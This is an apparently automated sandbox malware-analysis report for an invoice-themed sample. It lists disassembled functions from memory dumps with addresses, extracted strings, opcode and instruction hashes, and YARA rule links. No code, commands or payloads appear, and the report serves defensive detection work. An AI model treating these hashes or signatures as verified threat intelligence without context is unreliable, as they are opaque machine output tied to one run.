Opcode ID: 1393ade113eb1b0c42b482e547d51fd05fa6a3bfa72182cb9c40ec06e92bb379
Instruction ID: 9576e184f5b61ee88dd11d1cb51f6a6c5d47f02f1b168c0f638e21cd99bd0631
Opcode Fuzzy Hash: 1393ade113eb1b0c42b482e547d51fd05fa6a3bfa72182cb9c40ec06e92bb379
Instruction Fuzzy Hash: 51D1AFB8E00218CFDB55CFA9D950B9DBBB2BF89300F1081A9D809AB365DB355E85CF51

Function 3A662918 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A662D0E, 3A662D28

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 90450130dbfc2b6371fde69522a3548f3ffff8c0a7cae54a426cd639a38ab34d
Instruction ID: 1010499ff5429b57897d80a3b48ac47ed4a66283db0194d106c2204d9b21e8f7
Opcode Fuzzy Hash: 90450130dbfc2b6371fde69522a3548f3ffff8c0a7cae54a426cd639a38ab34d
Instruction Fuzzy Hash: 16D1A078E00218CFDB55CFA9D950B9DBBB2BF89300F1081A9D809AB365DB355E85CF51

Function 3A663FE8 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A6643DE, 3A6643F8

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 5b49c7de6b12fdc7da58aea4a07c8133b6f9ca290b272e9f7a71357c196b4bd2
Instruction ID: 90470093f2c991dd590b357c42f4d8d2ec3f6da96a14783cb19881b922d4ddf4
Opcode Fuzzy Hash: 5b49c7de6b12fdc7da58aea4a07c8133b6f9ca290b272e9f7a71357c196b4bd2
Instruction Fuzzy Hash: 3DD1B078E00218CFDB54CFA9D954B9DBBB6BF89300F1080A9D809AB365DB355E85CF51

Function 3A660DF0 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A6611E6, 3A661200

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: d0ffe0f824154e5fcb4cc3392f3510fec79c2583d21bae19ee43263dffc74da5
Instruction ID: 0b19d1d633965a3bfa9293230341ab6bb7b037360b0280884fefa50a73b0d278
Opcode Fuzzy Hash: d0ffe0f824154e5fcb4cc3392f3510fec79c2583d21bae19ee43263dffc74da5
Instruction Fuzzy Hash: 4FD1BF78E00218CFDB14CFA9D990B9DBBB6BF89300F1080A9D809AB365DB355E85CF51

Function 3A661FF8 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A6623EE, 3A662408

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 8d2d73335a9dfbcd49eb0175eea8c40bfc1d0a7a1ee0f22e57adb8429ea9291d
Instruction ID: d13f0ec7b0c78ae2acdefd51ee191a024b80feb53e56b714c24af2922860b5b3
Opcode Fuzzy Hash: 8d2d73335a9dfbcd49eb0175eea8c40bfc1d0a7a1ee0f22e57adb8429ea9291d
Instruction Fuzzy Hash: B4D1B0B8E00218CFDB55CFA9D940B9DBBB6BF89300F1080A9D809AB365DB355E85CF51

Function 3A6636C8 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A663ABE, 3A663AD8

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 2a7741397505ce379af138290e3cf4e5e1523ebefb6142286b92c116f5f53b7b
Instruction ID: 3976d12f8840486edf38997458ed859bdf99090a928320c48e35db0cac231c02
Opcode Fuzzy Hash: 2a7741397505ce379af138290e3cf4e5e1523ebefb6142286b92c116f5f53b7b
Instruction Fuzzy Hash: 2BD1AFB8E00218CFDB55CFA9D950B9DBBB2BF89300F1081A9D809AB365DB355E85CF51

Function 3A6604D0 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A6608C6, 3A6608E0

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 06800be677c42b39b529c6893d860481ee09677dff251ee8d2b093abc2425106
Instruction ID: 6bd8452dcac34f6c6d69abb532b045919b0e9a0b6ca2070a197d774845426418
Opcode Fuzzy Hash: 06800be677c42b39b529c6893d860481ee09677dff251ee8d2b093abc2425106
Instruction Fuzzy Hash: 52D1BF78E00218CFDB15CFA9D980B9DBBB6BF89300F1081A9D809AB365DB355E85CF51

Function 3A662DA8 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A66319E, 3A6631B8

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 6d56c01e7d4d5141d215e49b51c75dbe298a65fd1512ffd0f23e8d8da886b342
Instruction ID: ea7688fb5bdee0ef6748ddca8bb15c78408b451c54e2eb0d9301038e032eb727
Opcode Fuzzy Hash: 6d56c01e7d4d5141d215e49b51c75dbe298a65fd1512ffd0f23e8d8da886b342
Instruction Fuzzy Hash: 81D1BE78E00218CFDB54CFA9D990B9DBBB6BF89300F1081A9D809AB365DB355E85CF51

Function 3A6656B8 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A665AAE, 3A665AC8

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: dea2a033715e35679e7fa71c44ae1372ee1d50bf3a1eeee5f443a0b3d83e8d9b
Instruction ID: d16b9b3fa076ce637dce1f347cabb04383c2c153c8979e9039929c95352674c9
Opcode Fuzzy Hash: dea2a033715e35679e7fa71c44ae1372ee1d50bf3a1eeee5f443a0b3d83e8d9b
Instruction Fuzzy Hash: F1D1AF78E00218CFDB55CFA9D990B9DBBB2BF89300F1081A9D809AB365DB355E85CF51

Function 3A661280 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A661676, 3A661690

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 0304649d4974e0687fa5e57b796f58553d2d1b9abced048feef6c6fd57b27033
Instruction ID: 4138a45329514edae4bc884e5ce00c36a0048a8db1cd81e678bab8d144101f92
Opcode Fuzzy Hash: 0304649d4974e0687fa5e57b796f58553d2d1b9abced048feef6c6fd57b27033
Instruction Fuzzy Hash: 07D1BFB8E00218CFDB55CFA9D940B9DBBB2BF89300F1081A9D809AB365DB355E85CF51

Function 3A662488 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A66287E, 3A662898

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 8bad3e713169c6eb8f993a928fd4ec2c6d3be63687b65c71772c7952f1d61b2b
Instruction ID: 150ec406f2abf94cd235e3ab3d8cb6cfeddbd47445468251a404c54ca734d3e7
Opcode Fuzzy Hash: 8bad3e713169c6eb8f993a928fd4ec2c6d3be63687b65c71772c7952f1d61b2b
Instruction Fuzzy Hash: A9D1BFB8E00218CFDB55CFA9D950B9DBBB2BF89300F1081A9D809AB365DB355E85CF51

Function 3A664D98 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A66518E, 3A6651A8

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 8a5d744e365ca74bdea57c3fc6511f8c7afca32f0cd55f47debc06b50929fcdb
Instruction ID: fc0d8d7827b54801efa44062e00bbedb431927e860cf67d93dd09497e733b734
Opcode Fuzzy Hash: 8a5d744e365ca74bdea57c3fc6511f8c7afca32f0cd55f47debc06b50929fcdb
Instruction Fuzzy Hash: F2D1BF78E00218CFDB55CFA9D990B9DBBB2BF89300F1081A9D809AB365DB355E85CF51

Function 3A5FCE78 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A5FD26E, 3A5FD288

Memory Dump Source

Source File: 00000004.00000002.3300827066.000000003A5F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A5F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a5f0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 428ff87202aff5c89fc7fde37bb3afcb319e93af0ec7327f8ff7c4ccf957bd6a
Instruction ID: a564c5fc93637ac1d560db8731113b94a78b95015da8932c906fb2aeac44824c
Opcode Fuzzy Hash: 428ff87202aff5c89fc7fde37bb3afcb319e93af0ec7327f8ff7c4ccf957bd6a
Instruction Fuzzy Hash: 8AD1AE78E00218CFDB55DFA9D980B9DBBB2BF89300F1085A9D809AB365DB355E85CF50

Function 3A5FEE68 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A5FF25E, 3A5FF278

Memory Dump Source

Source File: 00000004.00000002.3300827066.000000003A5F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A5F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a5f0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: a08a554d73a962c313dfe7f99c142f8fc7e75447e7cd38e5018f84679a503322
Instruction ID: 71bad4503556a19c6238d3aa619fc9b01272fe27b6fd332a29d39d6a00adb09a
Opcode Fuzzy Hash: a08a554d73a962c313dfe7f99c142f8fc7e75447e7cd38e5018f84679a503322
Instruction Fuzzy Hash: A3D1AE78E00218CFDB54CFA9D990B9DBBB2BF89300F1085A9D809AB365DB355E85CF50

Function 3A5FBC38 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A5FC02E, 3A5FC048

Memory Dump Source

Source File: 00000004.00000002.3300827066.000000003A5F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A5F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a5f0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 682291aa4c017ec99846fc6486cc678490abf3987253ce850937efdffcaf12bf
Instruction ID: 8974d7b74a2e0df32654ac9f110ea854218a89c0bfbaf6873a657b06ff42a08f
Opcode Fuzzy Hash: 682291aa4c017ec99846fc6486cc678490abf3987253ce850937efdffcaf12bf
Instruction Fuzzy Hash: E0D1BE78E00218CFDB14DFA9D980B9DBBB2BF89300F1084A9D809AB365DB355E85CF50

Function 3A5FDC28 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A5FE01E, 3A5FE038

Memory Dump Source

Source File: 00000004.00000002.3300827066.000000003A5F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A5F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a5f0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: a2487d3430846e0ce2c25f65cb3b8801131a0f37a9d0125f225210a6ad0e41fe
Instruction ID: b92bedc8e5ddfe87e7612e2ccb65f9134611880723e36235ff1a917b22df55d5
Opcode Fuzzy Hash: a2487d3430846e0ce2c25f65cb3b8801131a0f37a9d0125f225210a6ad0e41fe
Instruction Fuzzy Hash: E6D1AE78E00218CFDB54CFA9D980B9DBBB6BF89300F1085A9D809AB365DB355E85CF51

Function 3A810A10 Relevance: 1.5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

Strings

0oMp, xrefs: 3A810A7B

Memory Dump Source

Source File: 00000004.00000002.3301103776.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 0oMp
API String ID: 0-2268523476
Opcode ID: a64d31e6697b7e2003f575b311d52c0833e4a9d13b1df1ea152838e8c1cc4c67
Instruction ID: 671aae964e503c8fd9f4e73a4eec69301bffca714de8b0037e91553b6c4c31e3
Opcode Fuzzy Hash: a64d31e6697b7e2003f575b311d52c0833e4a9d13b1df1ea152838e8c1cc4c67
Instruction Fuzzy Hash: 20B19674E00218CFDB54DFA9D984A9DBBB2FF89310F1181A9E819AB365DB34AD41CF50

Function 3A8108DE Relevance: 1.4, Strings: 1, Instructions: 173COMMON

Download Yara Rule

Strings

0oMp, xrefs: 3A810A7B

Memory Dump Source

Source File: 00000004.00000002.3301103776.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 0oMp
API String ID: 0-2268523476
Opcode ID: 80e6ae9f0f210f805490996136acd23fb683a64b1fe6edafba67159baa2b4297
Instruction ID: 629bb276d21ac1dc97a0fec6fa587967c84272d183635bf1881f3353b1f95d02
Opcode Fuzzy Hash: 80e6ae9f0f210f805490996136acd23fb683a64b1fe6edafba67159baa2b4297
Instruction Fuzzy Hash: 7F71FA74E042888FCB05CFAAC984ADDBFF2FF8A304F5480AAD444AB215D7349946CF11

Function 3A810960 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

0oMp, xrefs: 3A810A7B

Memory Dump Source

Source File: 00000004.00000002.3301103776.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 0oMp
API String ID: 0-2268523476
Opcode ID: 717cf30c9f7d87fc04626d873aeb399c8cbde15fcce96f1ae6ad1917459a5b0f
Instruction ID: 6cd3b61b97b311a97127766ae971250a064aeba03c76b310c59cd560ef108ea2
Opcode Fuzzy Hash: 717cf30c9f7d87fc04626d873aeb399c8cbde15fcce96f1ae6ad1917459a5b0f
Instruction Fuzzy Hash: ED71D774E052888FDB45CFAAC894A9DBFF2FF8A300F5580AAD444AB225D7359946CF50

Function 000DF2C0 Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

4zA7| @7, xrefs: 000DF32C, 000DF35B, 000DF3FD, 000DF438

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 4zA7| @7
API String ID: 0-2866283290
Opcode ID: fc834ad2ae6e05a5cdc4a1ce42ad82fb60ab5d3266f7f6e2243233d988e5087e
Instruction ID: 5948a6a5fcf7a59572165bb49a003612327b90b372fb08894c44c0ffc05bedc9
Opcode Fuzzy Hash: fc834ad2ae6e05a5cdc4a1ce42ad82fb60ab5d3266f7f6e2243233d988e5087e
Instruction Fuzzy Hash: BC510170D012098BDB04EFA9D5447EEBBB2BF89300F24C16AE405BB395DB759985CB64

Function 000DF52F Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

4zA7| @7, xrefs: 000DF32C, 000DF35B, 000DF3FD, 000DF438

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 4zA7| @7
API String ID: 0-2866283290
Opcode ID: 41ecc97c335228f84de19ae4e1361245de5389d1cfc0629fbeb168895250d48d
Instruction ID: 784992bdee1e086a24fa05696fbfbee40dd2f72a500d2f126130329c08f8e14e
Opcode Fuzzy Hash: 41ecc97c335228f84de19ae4e1361245de5389d1cfc0629fbeb168895250d48d
Instruction Fuzzy Hash: 6F510270D05209CFDB14EFA8D5887EEBBB2BF49301F64C16AD406AB396D7359981CB60

Function 000DF4AC Relevance: 1.4, Strings: 1, Instructions: 146COMMON

Download Yara Rule

Strings

4zA7| @7, xrefs: 000DF32C, 000DF35B, 000DF3FD, 000DF438

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 4zA7| @7
API String ID: 0-2866283290
Opcode ID: e688cd0b02abd973ecbbe7ee390e7066bf6f8cc3d16c39ccb26d87902a9fe047
Instruction ID: 26edb4d17f611e4d6435bb99b0cfa4e6c4d469d46c6f39fb1ea77f3bb9eaa57e
Opcode Fuzzy Hash: e688cd0b02abd973ecbbe7ee390e7066bf6f8cc3d16c39ccb26d87902a9fe047
Instruction Fuzzy Hash: C751E070D0120ACBDB14EFA8D584BEEBBB2BF49301F24D16AD406AB395D7359981CB60

Function 39DB0B30 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 071e0b4efd1e41e7bee5648dfad1c151fa1f96a6c66e9fcb6e627942f5cf5690
Instruction ID: 842ca5d8bad9c057939094e535ba3a9f1fc66d58f86ba0163bc2590cbf7914ac
Opcode Fuzzy Hash: 071e0b4efd1e41e7bee5648dfad1c151fa1f96a6c66e9fcb6e627942f5cf5690
Instruction Fuzzy Hash: 1D72C074E052288FDB65CF69C981BDEBBB2BB49300F5081E9D409AB755DB30AE81CF50

Function 39DB0040 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f7a5c00d4c6a228c66869e8791794748c7a59c0c92b6eee7b1a1fe9772df792
Instruction ID: 9f4c209f473e965bdfe388624da551d0ad990ca488e7f67a39ff95772dde3508
Opcode Fuzzy Hash: 5f7a5c00d4c6a228c66869e8791794748c7a59c0c92b6eee7b1a1fe9772df792
Instruction Fuzzy Hash: E0529B74A01228CFDB64DFA5C981BDDBBB2BF89300F1081EAD409AB655DB359E85CF50

Function 3A667E60 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 811c8d64da0f089f103755b1c6895fe4018d804bbc48a324843c41d462777969
Instruction ID: b08cc29a52fb0083fe1fbd2b5b9c59f72b9da040bee999724b37eaa2f22eadcd
Opcode Fuzzy Hash: 811c8d64da0f089f103755b1c6895fe4018d804bbc48a324843c41d462777969
Instruction Fuzzy Hash: B0D1AF74E01218CFDB54DFA9C994B9DBBB2BF89300F2081A9D409AB365DB359E85CF50

Function 3A66A968 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fc696d710441136b97046ce6d3e047fbd01e2d53a7dd7a4b3d3cb826c611012
Instruction ID: a8ea057aeacfdc70cc0e9f74c0d9a1a0ca63b3b00ab6e8f39be46c9d2e4e25cc
Opcode Fuzzy Hash: 9fc696d710441136b97046ce6d3e047fbd01e2d53a7dd7a4b3d3cb826c611012
Instruction Fuzzy Hash: BED19F74E01218CFDB54DFA9C994B9DBBB2BF89300F2081A9D409AB365DB359E85CF50

Function 3A66D470 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0be40cc967d38e0aa5d11146e32d868ea18c5dd40f9f0a21dfccb40c5d20c7f
Instruction ID: c2915c6e2b46e913e15a5ac33feea60c1df21812a5446d37946c8ed93346f8c6
Opcode Fuzzy Hash: e0be40cc967d38e0aa5d11146e32d868ea18c5dd40f9f0a21dfccb40c5d20c7f
Instruction Fuzzy Hash: D3D19F74E01218CFDB54DFA9C954B9DBBB2BF89300F1081A9D409AB3A5DB359E85CF50

Function 3A666B40 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67b417147cfe9489a40e3b57152b1e7698b1dcac56b4474278abb065c3686d1f
Instruction ID: 15d4ddbe8385eace592ef53b860c314a90ddc70f80912603ea06279c8f7bcca3
Opcode Fuzzy Hash: 67b417147cfe9489a40e3b57152b1e7698b1dcac56b4474278abb065c3686d1f
Instruction Fuzzy Hash: B2D19178E01218CFDB54DFA9C954B9DBBB2BF89300F1081A9D409AB365DB359E85CF50

Function 3A669648 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a6fcd6da5179847960a34ec67ef5612ef3d3f091ac37081a183b1b84a1033ce
Instruction ID: dc80d9217d599be2d45034d9d0030ba14a1055868b665a6694c7a5c17e83d0e6
Opcode Fuzzy Hash: 2a6fcd6da5179847960a34ec67ef5612ef3d3f091ac37081a183b1b84a1033ce
Instruction Fuzzy Hash: B4D19174E01218CFDB54DFA9C954B9DBBB2BF89300F2081A9D809AB365DB359E85CF50

Function 3A66C150 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d63f406364111c808feeaae678d48c09c9b1cd44927b98b2f88a54a0601a635e
Instruction ID: d33eaef9f4308724edd346d8d96062cff3660ccd369083b013da15bbfab52092
Opcode Fuzzy Hash: d63f406364111c808feeaae678d48c09c9b1cd44927b98b2f88a54a0601a635e
Instruction Fuzzy Hash: B6D19174E01218CFDB54DFA9C994B9DBBB2BF89300F1081AAD409AB365DB359E85CF50

Function 3A66EC58 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3788833b1fa870a570aa7cd82743a2bdfbdd98c9b80a012b438635555f430fb
Instruction ID: 65dc7a9226fde3c40fe38abaaf0217f1755b5f1513570227e5de74fd3b0c6a4a
Opcode Fuzzy Hash: a3788833b1fa870a570aa7cd82743a2bdfbdd98c9b80a012b438635555f430fb
Instruction Fuzzy Hash: C8D19074E01218CFDB54DFA9C994B9DBBB2BF89300F2081A9D409AB365DB359E85CF50

Function 3A668328 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b54114f85f8283ea276524d9870808519436722cb25a4eb0e520e6db7f43981
Instruction ID: 1d0e2c2f7b8b486681c406d2a9101e324c40fcacfcbbda87cc0e6151cfb6c201
Opcode Fuzzy Hash: 0b54114f85f8283ea276524d9870808519436722cb25a4eb0e520e6db7f43981
Instruction Fuzzy Hash: F2D1CF74E01218CFDB54DFA9C990B9DBBB2BF89300F2091A9D409AB365DB359E81CF50

Function 3A66AE30 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d523b440229d07459ae3a4c341d397357405e5295f5074ae47007f7b708613f0
Instruction ID: abbce7a1062892760a557a60c43a9be815ee25c2e6c01e2fc01314612c7b90d4
Opcode Fuzzy Hash: d523b440229d07459ae3a4c341d397357405e5295f5074ae47007f7b708613f0
Instruction Fuzzy Hash: 1FD19F74E01218CFDB54DFA9C994B9DBBB2BF89300F2081A9D409AB365DB359E85CF50

Function 3A66D938 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 336a9df3da2f1a4b92d1662bb39de7c4ac18e5e1df9c3f57df503c23c01ceff3
Instruction ID: cf29908e630f57ffbae2d4b3ce8b46541fafc8f2ba2e3437c272f395af83b30c
Opcode Fuzzy Hash: 336a9df3da2f1a4b92d1662bb39de7c4ac18e5e1df9c3f57df503c23c01ceff3
Instruction Fuzzy Hash: 9AD19E74E01218CFDB54DFA9C994B9DBBB2BF89300F2081A9D409AB365DB359E85CF50

